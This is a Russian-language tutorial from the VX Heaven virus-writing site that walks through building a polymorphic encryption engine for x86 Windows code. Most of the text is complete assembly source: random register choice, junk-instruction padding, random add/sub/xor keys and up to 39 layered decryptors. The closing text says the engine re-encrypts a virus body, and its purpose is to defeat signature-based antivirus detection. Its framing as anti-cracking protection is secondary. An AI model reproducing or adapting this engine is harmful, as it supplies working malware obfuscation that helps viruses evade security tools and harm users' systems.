Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Построение полиморфного мотора

Sl0n
Argc&Argv, сентябрь 2003, стр.49-52
Сентябрь 2003

[Вернуться к списку] [Комментарии]

Итак я решил написать статью на столь избитую и старую тему по той лишь причине, что в статьях на данную тему описуются или только методики построения моторов или техники которые желательно использовать в полиморфных генераторах. Существует несколько общих документаций вроде туториала Billy Belcebu, Lord'a Julus'a и других, но они не затрагивают многие аспекты и примеры в них довольно просты. Или же наоборот если взглянуть на стэковый полиморфный генератор Z0mbie в сотрудничестве с Vecna, то я думаю даже профессиональному и очень опытному программисту с ним будет очень даже не просто разобраться. Данная статья надеюсь послужит руководством к действию для тех, кто до этого не писал полиморфных генераторов. Эта статья ориентирована на то, чтобы показать на примере построение полиморфного генератора.

Полиморфный генератор это модуль, который зашифровывает код и добавляет к нему расшифровщик. Расшифровщик в идеале не должен ни разу повториться. Данные операции позволяют сделать код мутирующим, каждый раз выглядит по новому. Функциональность же кода остаётся старой.

Что же может дать разработчику программного обеспечения полиморфный генератор? Это защита от программ "заплаток"(patch), которые снимают защиту с программного продукта. Вот например взломщик проанализировал в отладчике место проверки пароля на корректность и хочеть обратить переход, а байты которые ему нужно будет подменить в HEX-редакторе он не найдёт. Так же полиморфный мотор надёжно защищает от дизассемблирования.

Полиморфный генератор, который мы будем моделировать будет использовать технологию мультидекрипторности(количество полиморфных расшифровщиков довольно высоко). Вообще говоря данная техника безмерно усиливает потенциал полиморфного мотора, но почему-то до недавнего времени ей не уделяли особого внимания.

Начнём с того, что нам нужно выбрать скелет декриптора. Но так как я очень ленивый, то люблю всё упрощать а особенно использование своих движков. Поэтому мы создадим наш полиморфный генератор не зависящим от точки входа и виртуального смещения.

Условимся, что reg1,reg2 - это 32 битные регистры.

Начнём построение скелета декриптора:

                call    $+5
                pop     reg1
                add     reg1,size_of_decryptor-4
                mov     reg2,reg1
                add     reg2,size_of_encrypted_code
decrypt:        add     reg1,4
        xor/sub/add     [reg1],decrypt_key
                cmp     reg1,reg2
                jb      decrypt
 

Как вы легко можете пронаблюдать из кода данный полиморфный мотор будет использовать 32 битное шифрование случайным алгоритмом (add/sub/xor).

После того, как мы определились с скелетом декриптора. Мы должны решить, что ещё нам будет необходимо при построении полиморфного генератора.

Нам понадобится:

* - Данные модули были включены в статью "Построение простого EPO мотора"

Начнём с генератора случайных чисел. Наш генератор будет ориентирован на процессоры не меньше Pentium, так как будет использоваться инструкция rdtsc. Данная инструкция возвращает значение счётчика тиков таймера. Для удобства его использования выделем генератор случайных чисел в отдельный модуль.

Что должен уметь генератор мусора? Он должен генерировать исполнимый код оставляя не изменными значащие регистры (используемые в декрипторе). Исполнимый код должен быть как можно более разнообразным. В идеале получившийся декриптор с мусором должен походить на обыкновенную программу с условными переходами и множеством функций.

Как мы можем пронаблюдать данный генератор мусора производит довольно-таки разнообразный исполнимый код. Недоработаны как я считаю это переходы условные и безусловные, а так же подпрограммы. Но это не суть важно.

Важно сейчас то, что мы уже можем построить полиморфный генератор по выбранному нами скелету. Генератор случайных чисел будет использоваться для выбора регистров, генерации длин мусора и самих мусорных инструкций.

Рассмотрим полиморфный генератор на примере:

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                       [POLYMORPHIC GENERATOR OF SHIT V. 0.4]                 ;
;                                                                              ;
;                     #########        ########      ########                  ;
;                     ###########    ##########    ##########                  ;
;                     ##### ######  ######   ##   ######   ##                  ;
;                     #####  #####  #####         #####                        ;
;                     #####  #####  #####          ########                    ;
;                     ###########   ##### ######     ########                  ;
;                     #########     ##### ######         #####                 ;
;                     #####         #####    ###         #####                 ;
;                     #####          ###########  ###########                  ;
;                     #####            ##### ###  #########                    ;
;                                                                              ;
;                                  FOR MS WINDOWS                              ;
;                                                                              ;
;                                     BY SL0N                                  ;
;------------------------------------------------------------------------------;
;                                    MANUAL:                                   ;
; BUFFER FOR ENCRYPTED CODE + DECRYPTORS  -> EDI                               ;
; START OF CODE                           -> EAX                               ;
; SIZE OF CODE                            -> ECX                               ;
;                                                                              ;
; CALL MORPH                                                                   ;
;                                                                              ;
; SIZE OF ENCRYPTED CODE + DECRYPTORS     -> ECX                               ;
; BUFFER WITH ENCRYPTED CODE + DECRYPTORS -> EDI                               ;
;------------------------------------------------------------------------------;
; (+) DO NOT USE WIN API                                                       ;
; (+) EASY TO USE                                                              ;
; (+) GENERATE GARBAGE INSTRUCTIONS (1,2,3,4,5,6 BYTES)                        ;
; (+) USE DELTA OFFSET                                                         ;
; (+) USE X87 INSTRUCTIONS                                                     ;
; (+) IT CREATES VARIABLE DECRYPTOR SIZE                                       ;
; (+) RANDOMLY CHANGE REGISTERS IN INSTRUCTIONS                                ;
; (+) RANDOM 32 BIT ENCRYPTION ALGORITHM (ADD/SUB/XOR)                         ;
; (+) RANDOM NUMBER OF DECRYPTORS                                              ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
morph:
                push    esi ebp                    ; Сохраняем регистры

                call    delta0                     ;
delta0:                                            ; Вычисляем
                pop     ebp                        ; дельта смещение
                sub     ebp,offset delta0          ;

                push    eax                        ; Кладём в стэк eax
decr_number:                                      
                mov     eax,40                     ; Генерируем случайное число
                call    brandom32                  ; в диапазоне 0..30
                test    eax,eax                    ; Если число равно 0, то оно
                jz      decr_number                ; нам не подходит
                mov     ebx,eax                    ; Помещаем число в ebx
                pop     eax                        ; Восстанавливаем eax
multi_decr:                                        
                mov     edx,edi
                call    polym                      ;
                mov     eax,edx                    ;
                add     edi,ecx                    ; Генерируем столько
                dec     ebx                        ; декрипторов, сколько
                test    ebx,ebx                    ; записано в регистре ebx
                jnz     multi_decr                 ;

                sub     edi,ecx                    ; результатами
               
                pop     ebp esi                    ; Восстанавливаем регистры
                ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
polym:
                push    ebp edi esi ebx            ; Сохраняем регистры

                mov     [ebp+sz_code],ecx          ; Заносим параметры старта
                mov     [ebp+begin_code],eax       ; из регистров в переменные
                mov     [ebp+buff],edx             ;
                mov     edi,edx                    ;
;------------------------------------------------------------------------------;
                call    len_gen                    ; Вызываем генератор длин
                mov     [ebp+sz_decr],40
                add     [ebp+sz_decr],ecx          ; добавляем длины мусора к
                                                   ; размеру декриптора

                call    reg_mutate                 ; Выбираем регистры, которые
                                                   ; будут использоваться в
                                                   ; декрипторе

                mov     ecx,[ebp+len+0]            ; И генерируем первую партию
                call    garbage                    ; мусорных инструкций

                mov     al,0e8h                    ; Генерируем следующую
                stosb                              ; инструкцию: call $+5
                xor     eax,eax                    ;
                stosd                              ;

                mov     ecx,[ebp+len+4]            ; Генерируем новую партию
                call    garbage                    ; мусорных инструкций

                mov     al,58h                     ; Генерируем следующую
                add     al,bh                      ; инструкцию декриптора:
                stosb                              ; pop reg1

                mov     ecx,[ebp+len+8]            ; Генерируем мусорные
                call    garbage                    ; инструкции

                                                   ; Генерируем следующую
                mov     al,81h                     ; инструкцию декриптора:
                stosb                              ; add reg1,sz_decr-len[0]
                mov     al,0c0h                    ;
                add     al,bh                      ; Таким образом reg1 будет
                stosb                              ; указывать на начало
                                                   ; закриптованного кода
                mov     eax,[ebp+sz_decr]          ;
                sub     eax,[ebp+len]              ;
                sub     eax,9                      ;
                stosd                              ;

                mov     ecx,[ebp+len+12]           ; Генерируем мусорные
                call    garbage                    ; инструкции

                mov     al,8bh                     ; Генерируем инструкцию:
                stosb                              ; mov reg2,reg1
                                                   ;
                mov     al,bl                      ; У нас reg2 позже будет
                shl     al,3                       ; использоваться для
                add     al,0c0h                    ; сравнения
                add     al,bh                      ;
                stosb

                mov     ecx,[ebp+len+16]           ; Генерируем мусорные
                call    garbage                    ; инструкции

                mov     al,81h                     ;
                stosb                              ;
                mov     al,0c0h                    ;
                add     al,bl                      ;
                stosb                              ;
                                                   ; Генерируем инструкцию:
                mov     eax,[ebp+sz_code]          ; add reg2,size_code
                inc     eax
                stosd                              ;

                mov     ecx,[ebp+len+20]           ; Генерируем мусорные
                call    garbage                    ; инструкции

                mov     al,81h                     ;
                stosb                              ; Генерируем следующую
                mov     al,0c0h                    ; инструкцию: add reg1,4
                add     al,bh                      ;
                stosb                              ;
                                                   ;
                mov     eax,4                      ;
                stosd                              ;

                mov     ecx,[ebp+len+24]           ; Генерируем следующую
                call    garbage                    ; партию мусора

                call    random32                   ;
                mov     [ebp+key2],eax             ; Сохраняем ключ криптования

                lea     eax,[ebp+next]             ; Кладём в стэк смещение
                push    eax                        ; на метку next
                                                   ; Выбираем один из трёх
                                                   ; вариантов криптования
                mov     eax,3                      ; случайным образом.
                call    brandom32                  ;
                                                   ; Алгоритмы криптования и
                cmp     al,1                       ; декриптования:
                je      enc_add32                  ;
                                                   ; 1) XOR
                cmp     al,2                       ; 2) ADD
                je      enc_sub32                  ; 3) SUB
enc_xor32:
                                                   
                mov     al,81h                     ;
                stosb                              ; Генерируем инструкцию:
                mov     al,30h                     ; xor [reg1],key_decrypt
                add     al,bh                      ;
                stosb                              ;
                mov     eax,[ebp+key2]
                stosd

                push    edi                        ;
                lea     edi,[ebp+crypt_n]          ;
                mov     al,33h                     ; А в самом движке меняется
                stosb                              ; алгоритм криптования
                pop     edi                        ;
                ret                                ; Переход на метку next
enc_add32:
                mov     al,81h                     ;
                stosb                              ; Генерируем инструкцию:
                mov     al,bh                      ; add [reg1],key_decrypt
                stosb                              ;

                mov     eax,[ebp+key2]
                stosd

                push    edi                        ;
                lea     edi,[ebp+crypt_n]          ;
                mov     al,2bh                     ; А в самом движке меняется
                stosb                              ; алгоритм криптования
                pop     edi                        ;
                ret                                ; Переход на метку next

enc_sub32:
                mov     al,81h                     ;
                stosb                              ; Генерируем следующую
                mov     al,028h                    ; инструкцию:
                add     al,bh                      ; sub [reg1],key_decrypt
                stosb                              ;

                mov     eax,[ebp+key2]
                stosd

                push    edi                        ;
                lea     edi,[ebp+crypt_n]          ; А в самом движке меняем
                mov     al,03h                     ; алгоритм криптования
                stosb                              ;
                pop     edi                        ;
                ret                                ; Переход на метку next
;------------------------------------------------------------------------------;
next:
                mov     ecx,[ebp+len+28]           ; Генерируем очередную
                call    garbage                    ; партию мусора
                                                   
                mov     al,3bh                     ;
                stosb                              ;
                                                   ;
                xor     eax,eax                    ;
                mov     al,bh                      ; Генерируем инструкцию:
                shl     al,3                       ; cmp reg1,reg2
                add     al,0c0h                    ;
                add     al,bl                      ;
                stosb                              ;
;------------------------------------------------------------------------------;
                mov     ax,820fh                   ;
                stosw                              ;
                xor     eax,eax                    ;
                dec     eax                        ; Генерируем инструкцию:
                mov     ecx,7*4                    ; jb decrypt
                sub     eax,[ebp+len+ecx]          ;
                mov     ecx,6*4                    ;
                sub     eax,[ebp+len+ecx]          ;
                sub     eax,19                     ;  
                stosd                              ;

                mov     ecx,[ebp+len+32]           ; Генерируем мусорные
                call    garbage                    ; инструкции
;------------------------------------------------------------------------------;
                mov     ecx,[ebp+sz_code]          ;
                mov     esi,[ebp+begin_code]       ;
                add     ecx,esi                    ;
encrypt:                                           ;
                lodsd                              ; Криптуем весь код ключом
crypt_n:                                           ; и нужным алгоритмом
                xor     eax,[ebp+key2]             ;
                stosd                              ;
                cmp     esi,ecx                    ;
                jl      encrypt                    ;

                mov     edx,[ebp+buff]             ; Заполняем регистры
                mov     ecx,[ebp+sz_code]          ; результатами
                add     ecx,[ebp+sz_decr]          ;

                pop     ebx esi edi ebp            ; Востанавливаем регистры
                ret                                ; И выходим из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                     GARBAGE LENGTH GENERATOR SUBROUTINE                      ;
;------------------------------------------------------------------------------;
;                                 [ IN ]                                       ;
;                                                                              ;
;                           NO INPUT IN SUBROTINE                              ;
;------------------------------------------------------------------------------;
;                                 [ OUT ]                                      ;
;                                                                              ;
;                        LENGTH OF ALL GARBAGE -> ECX                          ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
len_gen:                                           ; Подпрограмма генерации
                                                   ; длин для мусорных
                                                   ; инструкций
                xor     ecx,ecx                    ; Обнуляем esi и ecx
                xor     esi,esi                    ;
loop1:                                             ;
                mov     eax,100                    ;
                call    brandom32                  ; Начинаем генерацию
                                                   ; длин, каждое число
                mov     [ebp+len+esi],eax          ; диапазоне 0..100
                add     ecx,eax                    ;
                add     esi,4                      ;
                cmp     esi,36                     ;
                jne     loop1                      ;
                ret                                ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;                         REGISTER MUTATOR SUBROUTINE                          ;
;------------------------------------------------------------------------------;
;                                    [ IN ]                                    ;
;                                                                              ;
;                            NO INPUT IN SUBROTINE                             ;
;------------------------------------------------------------------------------;
;                                    [ OUT ]                                   ;
;                                                                              ;
;                         USES REGISTER N1 -> BH (0..7)                        ;
;                         USES REGISTER N2 -> BL (0..7)                        ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
reg_mutate:                                        
                                                   ; Подпрограмма генерации
generate1:                                         ; регистров для декриптора

                mov     eax,8                      ; Получаем случайное число
                call    brandom32                  ; в диапазоне 0..7
                cmp     al,00000100b               ; Используем все регистры
                je      generate1                  ; кроме esp
                cmp     al,00000101b               ; Используем все регистры
                je      generate1                  ; кроме ebp
                mov     bh,al                      ; Сохраняем полученный
                                                   ; регистр
generate2:
                mov     eax,8                      ; Получаем случайное число
                call    brandom32                  ; в диапазоне 0..7
                cmp     al,bh                      ; Не должно быть двух
                je      generate2                  ; идентичных регистров
                cmp     al,00000100b               ; Используем все регистры
                je      generate2                  ; кроме esp
                mov     bl,al                      ; Сохраняем полученный
                                                   ; регистр
                ret                                ; Возврат из подпрограммы
;------------------------------------------------------------------------------;
sz_decr         dd      0                          ;
begin_code      dd      0                          ; Данные необходимые для
st_code         dd      0                          ; корректной работы
sz_code         dd      0                          ; генератора
buff            dd      0                          ;
key2            dd      0                          ;
;------------------------------------------------------------------------------;
        len     dd      0,0,0,0,0,0,0,0,0          ; Место для хранения длин
;------------------------------------------------------------------------------;
 

В данном полиморфном генераторе использовалась техника множественных декрипторов. Она подразумевает многократную зашифровку тела вируса и всех предидущих декрипторов. Количество декрипторов выбирается случайным образом, но в рамках от 1..39. Перед и после каждой значащей инструкции декриптора идёт серия мусорных инструкций случайной длины. Регистры в значащих инструкциях не постоянны.

Данный полиморфный мотор может использоваться для написания сложных навесных защит программного кода.

И запомните всё что получится нужно тестировать рьяно и многократно.

[Вернуться к списку] [Комментарии]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxer.org aka vx.netlux.org
deenesitfrplruua